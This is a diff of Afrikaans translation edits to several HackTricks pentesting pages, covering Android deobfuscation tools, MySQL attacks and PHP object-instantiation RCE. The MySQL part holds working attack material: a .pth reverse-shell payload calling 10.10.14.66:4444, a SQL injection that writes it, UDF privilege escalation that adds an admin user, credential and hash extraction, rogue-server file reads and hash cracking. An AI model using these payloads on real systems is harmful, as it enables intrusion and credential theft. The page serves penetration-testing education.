+Vind 'n stap-vir-stap gids om die apk te deobfuskeer by [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 
-(From that guide) Last time we checked, the Dexguard mode of operation was:
+(From that guide) Laas toe ons nagaan, was die Dexguard mode of operation:
 
-- laai 'n resource as 'n InputStream;
-- voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel;
-- doen 'n paar nuttelose obfuskasies om 'n paar minute van 'n reverser se tyd te mors;
-- voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry;
-- laai uiteindelik die resulterende DEX as 'n Resource met die `loadDex` metode.
+- load a resource as an InputStream;
+- feed the result to a class inheriting from FilterInputStream to decrypt it;
+- do some useless obfuscation to waste a few minutes of time from a reverser;
+- feed the decrypted result to a ZipInputStream to get a DEX file;
+- finally load the resulting DEX as a Resource using the `loadDex` method.
 
 ### [DeGuard](http://apk-deguard.com)
 
-**DeGuard keert die proses van obfuskasie wat deur Android obfuscation tools uitgevoer is, om. Dit stel talle sekuriteitsanalises in staat, insluitend kode-inspeksie en die voorspellng van libraries.**
+**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
 
-Jy kan 'n obfuskede APK na hul platform oplaai.
+Jy kan 'n obfuskeerde APK na hul platform oplaai.
 
 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 
-Dit is 'n LLM-hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android apps te vind en android app-kode te deobfuskeer. Gebruik Google's Gemini public API.
+Dit is 'n LLM tool om enige potensiële sekuriteitskwessbaarhede in android apps te vind en android app-kode te deobfuskeer. Uses Google's Gemini public API.
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-Dit is 'n **generic android deobfuscator.** Simplify **virtually executes an app** om die gedrag daarvan te verstaan en probeer dan die kode optimaliseer sodat dit identies optree maar makliker is vir 'n mens om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskasie gebruik word nie.
+Dit is 'n generiese android deobfuscator. Simplify virtually executes an app om sy gedrag te verstaan en probeer dan die kode optimaliseer sodat dit identies optree maar vir 'n mens makliker is om te begryp. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 
-APKiD gee jou inligting oor **how an APK was made**. Dit identifiseer baie **compilers**, **packers**, **obfuscators**, en ander vreemde goed. Dit is [_PEiD_](https://www.aldeid.com/wiki/PEiD) vir Android.
+APKiD gee jou inligting oor hoe 'n APK gemaak is. Dit identifiseer baie compilers, packers, obfuscators, en ander vreemde goed. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
 
 ### Manual
 
@@ -799,12 +802,12 @@ APKiD gee jou inligting oor **how an APK was made**. Dit identifiseer baie **com
 
 ### [Androl4b](https://github.com/sh4hin/Androl4b)
 
-AndroL4b is 'n Android security virtual machine gebaseer op ubuntu-mate en sluit 'n versameling van die nuutste framework, tutorials en labs in van verskeie security geeks en researchers vir reverse engineering en malware analysis.
+AndroL4b is 'n Android sekuriteits-virtual machine gebaseer op ubuntu-mate en sluit 'n versameling van die nuutste framework, tutorials en labs in van verskillende sekuriteits geeks en navorsers vir reverse engineering en malware analysis.
 
 ## References
 
 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
-- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Dit is 'n uitstekende lys van resources
+- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Dit is 'n uitstekende lys van hulpbronne
 - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
 - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
 - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
@@ -813,7 +816,7 @@ AndroL4b is 'n Android security virtual machine gebaseer op ubuntu-mate en sluit
 - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
 - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
 
-## Yet to try
+## Nog te probeer
 
 - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
 - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

src/network-services-pentesting/pentesting-mysql.md

@@ -4,13 +4,13 @@
 
 ## **Basiese Inligting**
 
-**MySQL** kan beskryf word as 'n oopbron Relational Database Management System (RDBMS) wat gratis beskikbaar is. Dit maak gebruik van die Structured Query Language (SQL) en stel die bestuur en manipuleer van databasisse in staat.
+**MySQL** kan beskryf word as 'n open source **Relational Database Management System (RDBMS)** wat gratis beskikbaar is. Dit gebruik die **Structured Query Language (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
 
 **Standaardpoort:** 3306
 ```
 3306/tcp open  mysql
 ```
-## **Verbind**
+## **Koppel**
 
 ### **Lokaal**
 ```bash
@@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
 mysql -h <Hostname> -u root
 mysql -h <Hostname> -u root@localhost
 ```
-## Eksterne Enumerasie
+## Eksterne Enumeration
 
-Sommige van die enumerasie-aksies vereis geldige inlogbesonderhede
+Sommige van die enumeration-aksies vereis geldige credentials
 ```bash
 nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
 msf> use auxiliary/scanner/mysql/mysql_version
@@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
 CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
 CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
 ```
-## **MySQL-kommando's**
+## **MySQL kommando's**
 ```bash
 show databases;
 use <database>;
@@ -78,7 +78,7 @@ quit;
 mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
 mysql -u root -h 127.0.0.1 -e 'show databases;'
 ```
-### MySQL Regte-opsporing
+### MySQL Permissies-enumerasie
 ```sql
 #Mysql
 SHOW GRANTS [FOR user];
@@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
 #@ Functions not from sys. db
 SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
 ```
-Jy kan in die docs die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
+Jy kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
 
 ### MySQL File RCE
 
@@ -110,80 +110,81 @@ Jy kan in die docs die betekenis van elke voorreg sien: [https://dev.mysql.com/d
 ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
 {{#endref}}
 
-#### INTO OUTFILE → Python `.pth` RCE (site-spesifieke konfigurasie-hake)
+#### INTO OUTFILE → Python `.pth` RCE (site-spesifieke konfigurasie hooks)
 
-Deur die klassieke `INTO OUTFILE` primitive te misbruik, is dit moontlik om *arbitrary code execution* te bekom op teikens wat later **Python**-skripte uitvoer.
+Deur die klassieke `INTO OUTFILE` primitive misbruik, is dit moontlik om *arbitêre code-uitvoering* te verkry op teikens wat later **Python**-skripte uitvoer.
 
-1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`**-lêer in te laat val in enige gids wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`).
-2. Die `.pth`-lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitrêre Python-kode wat elke keer uitgevoer sal word wanneer die interpreter begin.
-3. Wanneer die interpreter implisiet uitgevoer word deur 'n CGI-skrip (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`) word die payload uitgevoer met dieselfde voorregte as die web-bediener-proses (FortiWeb het dit as **root** uitgevoer → full pre-auth RCE).
+1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`**-lêer te skep in enige gids wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`).
+2. Die `.pth`-lêer kan 'n *enkele reël* bevat wat begin met `import ` gevolg deur arbitêre Python-kode wat elke keer uitgevoer sal word as die interpreter begin.
+3. Wanneer die interpreter implisiet deur 'n CGI-skrip uitgevoer word (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`) word die payload uitgevoer met dieselfde voorregte as die web-bedienerproses (FortiWeb het dit as **root** uitgevoer → volledige pre-auth RCE).
 
-Voorbeeld `.pth` payload (enkele lyn, geen spasies kan in die finale SQL-payload ingesluit word, dus hex/`UNHEX()` of string-konkatenering mag nodig wees):
+Voorbeeld `.pth` payload (enkele reël — geen spasies kan in die finale SQL-payload ingesluit word, dus hex/`UNHEX()` of string-konkatenering mag nodig wees):
 ```python
 import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
 ```
-Voorbeeld om die lêer te skep deur 'n **UNION** query (spaties vervang met `/**/` om 'n `sscanf("%128s")` spasiefilter te omseil en die totale lengte ≤128 bytes te behou):
+Voorbeeld om die lêer saam te stel deur 'n **UNION** query (spasiekarakters vervang met `/**/` om 'n `sscanf("%128s")` spasiefilter te omseil en die totale lengte ≤128 bytes te hou):
 ```sql
 '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
 ```
-Belangrike beperkings & omseilings:
+Belangrike beperkings en omseilings:
 
-* `INTO OUTFILE` **kan nie oorskryf nie** bestaande lêers; kies 'n nuwe lêernaam.
-* Die lêerpad word opgelos **relatief tot MySQL’s CWD**, dus help vooranbring met `../../` om die pad te verkort en absolute-pad beperkings te omseil.
-* As die aanvaller se invoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afkap; gebruik MySQL kommentaarvolgordes `/**/` of `/*!*/` om spasies te vervang.
-* Die MySQL gebruiker wat die query uitvoer benodig die `FILE` voorreg, maar op baie appliances (bv. FortiWeb) loop die diens as **root**, wat skryf-toegang byna oral gee.
+* `INTO OUTFILE` **kan NIE bestaande lêers oorskryf nie; kies 'n nuwe lêernaam.**
+* Die lêerpad word **relatief tot MySQL’s CWD** opgelos, dus help dit om `../../` voorop te sit om die pad te verkort en absolute-pad-beperkings te omseil.
+* As die aanvaller se insette met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afkap; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang.
+* Die MySQL-gebruiker wat die query uitvoer benodig die `FILE` voorreg, maar in baie appliances (e.g. FortiWeb) hardloop die diens as **root**, giving write access almost everywhere.
 
-Nadat jy die `.pth` neergesit het, versoek eenvoudig enige CGI wat deur die python interpreter gehanteer word om code execution te kry:
+Nadat jy die `.pth` geplaas het, versoek eenvoudig enige CGI wat deur die python interpreter hanteer word om code execution te kry:
 ```
 GET /cgi-bin/ml-draw.py HTTP/1.1
 Host: <target>
 ```
-Die Python-proses sal die kwaadwillige `.pth` outomaties importeer en die shell payload uitvoer.
+Die Python-proses sal die kwaadwillige `.pth` outomaties import en die shell payload uitvoer.
 ```
 # Attacker
 $ nc -lvnp 4444
 id
 uid=0(root) gid=0(root) groups=0(root)
 ```
-## MySQL arbitrêre lêerlees deur client
+## MySQL arbitrêre lêerlees deur kliënt
 
-Eintlik, wanneer jy probeer **load data local into a table** die **inhoud van 'n lêer** vra die MySQL of MariaDB-server die **client om dit te lees** en die inhoud te stuur. **As jy 'n mysql client kan manipuleer om met jou eie MySQL-server te verbind, kan jy arbitrêre lêers lees.**\
-Neem asseblief kennis dat dit die gedrag is wanneer gebruik:
+In werklikheid, wanneer jy probeer om **load data local into a table** die **inhoud van 'n lêer** te gebruik, vra die MySQL of MariaDB-bediener die **kliënt om dit te lees** en die inhoud te stuur. **As jy dus 'n mysql client kan manipuleer om met jou eie MySQL server te verbind, kan jy arbitrêre lêers lees.**\
+Let asseblief daarop dat dit die gedrag is wanneer gebruik:
 ```bash
 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ```
-(Let op die woord "local")\
-Want sonder die "local" kan jy kry:
+(Let op die "local" woord)\ Omdat sonder die "local" kan jy kry:
 ```bash
 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 
 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 ```
-**Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit na RCE uit te brei:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ 
+**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
+**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit na RCE uit te brei:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
 **Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
 
+​
+
 
 
 ## POST
 
-### Mysql Gebruiker
+### Mysql-gebruiker
 
 Dit sal baie interessant wees as mysql as **root** uitgevoer word:
 ```bash
 cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
 ```
-#### Gevaarlike instellings in mysqld.cnf
+#### Gevaarlike Instellings van mysqld.cnf
 
-In die konfigurasie van MySQL-dienste word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer:
+In die konfigurasie van MySQL-dienste word verskeie instellings gebruik om die werking en sekuriteitsmaatreëls daarvan te definieer:
 
-- Die **`user`**-instelling word gebruik om die gebruiker aan te dui waaronder die MySQL-diens uitgevoer sal word.
-- **`password`** word gebruik om die wagwoord vir die MySQL-gebruiker in te stel.
-- **`admin_address`** spesifiseer die IP-adres wat na TCP/IP-verbindinge luister op die administratiewe netwerk-koppelvlak.
-- Die **`debug`**-variabele dui op die huidige foutopsporingskonfigurasies, insluitend sensitiewe inligting in loglêers.
-- Die **`sql_warnings`** beheer of inligtingsstringe gegenereer word vir enkelry-INSERT-opdragte wanneer waarskuwings voorkom, wat sensitiewe data in loglêers kan bevat.
-- Met **`secure_file_priv`** word die omvang van data-import- en -eksportoperasies beperk om sekuriteit te verbeter.
+- Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL-diens uitgevoer sal word.
+- Die **`password`** word gebruik om die wagwoord vir die MySQL-gebruiker te stel.
+- Die **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP-verbindinge op die administratiewe netwerk-koppelvlak.
+- Die **`debug`** veranderlike dui die huidige debug-konfigurasies aan, insluitend sensitiewe inligting binne logs.
+- Die **`sql_warnings`** beheer of inligtingstringe gegenereer word vir enkel-ry INSERT statements wanneer waarskuwings voorkom, wat sensitiewe data in logs bevat.
+- Met **`secure_file_priv`** word die omvang van data-import- en -eksportbewerkinge beperk om sekuriteit te verbeter.
 
 ### Privilege escalation
 ```bash
@@ -205,16 +206,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
 ```
 ### Privilege Escalation via library
 
-As die **mysql server is running as root** (of 'n ander meer bevoorregte gebruiker) kan jy dit dwing om opdragte uit te voer. Hiervoor moet jy **user defined functions** gebruik. En om 'n user defined te skep sal jy 'n **library** vir die OS wat mysql hardloop nodig hê.
+As die **mysql server is running as root** (of 'n ander gebruiker met hoër voorregte) loop, kan jy dit dwing om opdragte uit te voer. Hiervoor moet jy **user defined functions** gebruik. En om 'n user defined te skep, benodig jy 'n **library** vir die OS waarop mysql loop.
 
-Die kwaadaardige library wat gebruik kan word, is te vinde in sqlmap en in metasploit deur **`locate "*lib_mysqludf_sys*"`** uit te voer. Die **`.so`** lêers is **linux** libraries en die **`.dll`** is die **Windows** een — kies die een wat jy nodig het.
+Die kwaadwillige library wat gebruik kan word, kan gevind word in sqlmap en in metasploit deur **`locate "*lib_mysqludf_sys*"`** te gebruik. Die **`.so`**-lêers is **linux** libraries en die **`.dll`** is die **Windows** een — kies die een wat jy nodig het.
 
-As jy daardie libraries nie het nie, kan jy óf daarna soek, óf hierdie [**linux C code**](https://www.exploit-db.com/exploits/1518) aflaai en dit **compile it inside the linux vulnerable machine**:
+As jy daardie libraries **nie het nie**, kan jy óf **na hulle soek**, óf laai hierdie [**linux C code**](https://www.exploit-db.com/exploits/1518) af en **compile it inside the linux vulnerable machine**:
 ```bash
 gcc -g -c raptor_udf2.c
 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 ```
-Nou dat jy die biblioteek het, meld aan by die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe:
+Nou dat jy die biblioteek het, meld aan by die Mysql as 'n geprivilegieerde gebruiker (root?) en volg die volgende stappe:
 
 #### Linux
 ```sql
@@ -248,32 +249,32 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
 SELECT sys_exec("net user npn npn12345678 /add");
 SELECT sys_exec("net localgroup Administrators npn /add");
 ```
-#### Windows wenk: create directories with NTFS ADS from SQL
+#### Windows-wenk: skep gidse met NTFS ADS vanaf SQL
 
-Op NTFS kan jy gidskepping afdwing deur 'n alternate data stream te gebruik, selfs wanneer slegs 'n file write primitive bestaan. As die klassieke UDF chain 'n `plugin` gids verwag maar dit bestaan nie en `@@plugin_dir` onbekend of beperk is, kan jy dit eers skep met `::$INDEX_ALLOCATION`:
+Op NTFS kan jy gidskreatie afdwing deur 'n alternatiewe data-stroom te gebruik, selfs wanneer slegs 'n file write primitive bestaan. As die classic UDF chain 'n `plugin`-gids verwag, maar dit nie bestaan nie en `@@plugin_dir` onbekend of beperk is, kan jy dit eers skep met `::$INDEX_ALLOCATION`:
 ```sql
 SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
 -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
 ```
-Dit verander 'n beperkte `SELECT ... INTO OUTFILE` in 'n meer volledige primitive op Windows stacks deur die gidsstruktuur wat nodig is vir UDF drops te opbou.
+Dit omskep beperkte `SELECT ... INTO OUTFILE` in 'n meer volledige primitive op Windows-stacks deur die gidsstruktuur wat nodig is vir UDF drops te skep.
 
-### Uittrekking van MySQL credentials uit lêers
+### Uittrekking van MySQL-aanmeldbewyse uit lêers
 
-In _/etc/mysql/debian.cnf_ kan jy die **plain-text password** van die gebruiker **debian-sys-maint** vind
+Binne _/etc/mysql/debian.cnf_ kan jy die **onversleutelde wagwoord** van die gebruiker **debian-sys-maint** vind.
 ```bash
 cat /etc/mysql/debian.cnf
 ```
 Jy kan **hierdie credentials gebruik om by die mysql database aan te meld**.
 
-Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ vind jy **al die hashes van die MySQL users** (die wat jy uit mysql.user binne die databasis kan uittrek)_._
+In die lêer: _/var/lib/mysql/mysql/user.MYD_ vind jy **al die hashes van die MySQL gebruikers** (die wat jy uit mysql.user binne die databasis kan uithaal)_._
 
-Jy kan hulle uittrek deur:
+Jy kan hulle uithaal deur:
 ```bash
 grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
 ```
-### Aktiveer logregistrasie
+### Logging inskakelen
 
-Jy kan logregistrasie van mysql-query's binne `/etc/mysql/my.cnf` aktiveer deur die volgende reëls te dekommenteer:
+Jy kan logging van mysql-queries binne `/etc/mysql/my.cnf` inskakel deur die volgende reëls te dekommenteer:
 
 ![](<../images/image (899).png>)
 
@@ -301,7 +302,7 @@ Konfigurasielêers
 - update.log
 - common.log
 
-## Standaard MySQL-databasisse/tabelle
+## Verstek MySQL Databasis/Tabelle
 
 {{#tabs}}
 {{#tab name="information_schema"}}
@@ -612,7 +613,7 @@ x$user\_summary\_by\_file\_io\
 x$user_summary_by_file_io_type\
 x$user\_summary\_by\_stages\
 x$user_summary_by_statement_latency\
-x$user\_summary_by_statement_type\
+x$user\_summary_by\_statement\_type\
 x$wait_classes_global_by_avg_latency\
 x$wait\_classes\_global\_by\_latency\
 x$waits_by_host_by_latency\
@@ -621,7 +622,7 @@ x$waits_global_by_latency
 {{#endtab}}
 {{#endtabs}}
 
-## HackTricks Outomatiese Kommando's
+## HackTricks Outomatiese Opdragte
 ```
 Protocol_Name: MySql    #Protocol Abbreviation if there is one.
 Port_Number:  3306     #Comma separated if there is more than one.
@@ -654,31 +655,31 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
 ```
 ## 2023-2025 Hoogtepunte (nuut)
 
-### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
-Vanaf Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat vra vir 'n connection string) arbitrêre klasse versoek om aan die *client*-kant gelaai te word via die `propertiesTransform` parameter. If a gadget present on the class-path is loadable this results in **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). 'n minimale PoC lyk soos:
+### JDBC `propertiesTransform` deserialisering (CVE-2023-21971)
+Van Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat 'n connection string vra) versoek om arbitrêre klasse op die *client*-kant via die `propertiesTransform` parameter gelaai te word. As 'n gadget op die class-path laaibaar is, lei dit tot **remote code execution in the context of the JDBC client** (pre-auth, omdat geen valid credentials vereis word). 'n Minimale PoC lyk soos:
 ```java
 jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
 ```
-Om `Evil.class` uit te voer kan so eenvoudig wees as om dit op die class-path van die kwesbare toepassing te plaas, of om 'n rogue MySQL server toe te laat om 'n kwaadwillige serialized object te stuur. Die probleem is reggestel in Connector/J 8.0.33 – werk die driver op of stel `propertiesTransform` eksplisiet op 'n allow-list.
+Running `Evil.class` kan so eenvoudig wees soos dit op die class-path van die kwesbare toepassing te plaas of 'n rogue MySQL server toe te laat om 'n kwaadwillige serialized object te stuur. Die probleem is reggestel in Connector/J 8.0.33 – werk die driver op of stel eksplisiet `propertiesTransform` op 'n allow-list.
 (Sien Snyk write-up vir besonderhede)
 
-### Rogue / Fake MySQL server-aanvalle teen JDBC-kliente
-Verskeie open-source gereedskap implementeer 'n *partial* MySQL-protokol om JDBC-kliente wat na buite verbind aan te val:
+### Rogue / Fake MySQL server attacks against JDBC clients
+Verskeie open-source gereedskap implementeer 'n *partial* MySQL-protokol om JDBC-kliënte wat na buite koppel, aan te val:
 
-* **mysql-fake-server** (Java, ondersteun file read en deserialization exploits)
-* **rogue_mysql_server** (Python, soortgelyke vermoëns)
+* **mysql-fake-server** (Java, supports file read and deserialization exploits)
+* **rogue_mysql_server** (Python, similar capabilities)
 
 Tipiese aanvalspaaie:
 
-1. Doeltoepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`.
-2. Aanvaller beheer DNS / host entry sodat die hostname van die DB na 'n masjien onder hul beheer oplos.
-3. Kwaadaardige bediener reageer met pasgemaakte pakkette wat óf `LOCAL INFILE` arbitraire lêerlees óf Java deserialization trigger → RCE.
+1. Die slagoffer-toepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`.
+2. Die aanvaller beheer DNS / host entry sodat die hostname van die DB na 'n masjien onder hul beheer oplos.
+3. Kwaadwillige server antwoord met crafted packets wat óf `LOCAL INFILE` arbitraire file read of Java deserialization ontlok → RCE.
 
 Example one-liner to start a fake server (Java):
 ```bash
 java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
 ```
-Wys dan die slagoffer-toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 te enkodeer in die *username*-veld (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
+Wys dan die slagoffer-toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 in die *username* veld te enkodeer (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
 
 ### Cracking `caching_sha2_password` hashes
 MySQL ≥ 8.0 stoor wagwoord-hashes as **`$mysql-sha2$`** (SHA-256). Beide Hashcat (mode **21100**) en John-the-Ripper (`--format=mysql-sha2`) ondersteun offline cracking sedert 2023. Dump die `authentication_string` kolom en voer dit direk in:
@@ -691,11 +692,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
 john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 ```
 ### Verhardingskontrolelys (2025)
-• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** om die meeste lêerlees-/skryf-primitiewe uit te skakel.
-• Verwyder die **`FILE`** voorreg van toepassingsrekeninge.
-• Op Connector/J stel `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leeg).
-• Skakel ongebruikte authentication plugins af en **vereis TLS** (`require_secure_transport = ON`).
-• Hou dop vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL`-instruksies.
+• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** in om die meeste lêer-lees/skryf-primitiewe uit te skakel.
+• Verwyder die **`FILE`**-voorreg van toepassingsrekeninge.
+• By Connector/J stel `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leeg).
+• Deaktiveer ongebruikte verifikasie-inproppe en vereis TLS (`require_secure_transport = ON`).
+• Hou dop vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL`-statemente.
 
 ---
 

src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

@@ -1,4 +1,4 @@
-# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
+# PHP - RCE misbruik van objekskepping: new $_GET["a"]($_GET["b"])
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,13 +6,13 @@ Dit is basies 'n samevatting van [https://swarm.ptsecurity.com/exploiting-arbitr
 
 ## Inleiding
 
-Die skepping van nuwe arbitrêre objekke, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos uiteengesit in 'n [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.
+Die skepping van nuwe arbitrêre objekte, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos uiteengesit in 'n [**verslag**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.
 
-## RCE deur aangepaste klasse of Autoloading
+## RCE via Aangepaste Klasse of Autoloading
 
-Die sintaksis `new $a($b)` word gebruik om 'n objek te instansieer, waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die constructor deurgegee word. Hierdie veranderlikes kan van gebruikersinsette soos GET/POST kom, waar hulle strings of arrays kan wees, of van JSON, waar hulle as ander tipes voor kan kom.
+Die sintaksis `new $a($b)` word gebruik om 'n objek te instansieer waar **`$a`** die klasnaam voorstel en **`$b`** die eerste argument is wat aan die konstruktor deurgegee word. Hierdie veranderlikes kan uit gebruikersinsette soos GET/POST afkomstig wees, waar hulle strings of arrays kan wees, of uit JSON, waar hulle as ander tipes kan voorkom.
 
-Kyk na die kodefragment hieronder:
+Oorweeg die kode-fragment hieronder:
 ```php
 class App {
 function __construct ($cmd) {
@@ -31,9 +31,9 @@ $b = $_GET['b'];
 
 new $a($b);
 ```
-In hierdie geval lei die instelling van `$a` op `App` of `App2` en `$b` op 'n stelselopdrag (bv. `uname -a`) tot die uitvoering van daardie opdrag.
+In hierdie geval, deur `$a` op `App` of `App2` te stel en `$b` op 'n stelselopdrag (bv. `uname -a`), lei dit tot die uitvoering van daardie opdrag.
 
-**Autoloading-funksies** kan misbruik word as sulke klasse nie direk toeganklik is nie. Hierdie funksies laai outomaties klasse uit lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`:
+**Outomatiese laaifunksies** kan uitgebuit word as geen sulke klasse direk toeganklik is nie. Hierdie funksies laai klases outomaties vanuit lêers wanneer nodig en word gedefinieer met `spl_autoload_register` of `__autoload`:
 ```php
 spl_autoload_register(function ($class_name) {
 include './../classes/' . $class_name . '.php';
@@ -45,55 +45,55 @@ include $class_name . '.php';
 
 spl_autoload_register();
 ```
-Die gedrag van autoloading verskil na gelang van PHP-weergawes en bied verskillende RCE-geleenthede.
+Die gedrag van autoloading wissel tussen PHP-weergawes en bied verskeie RCE-mooglikhede.
 
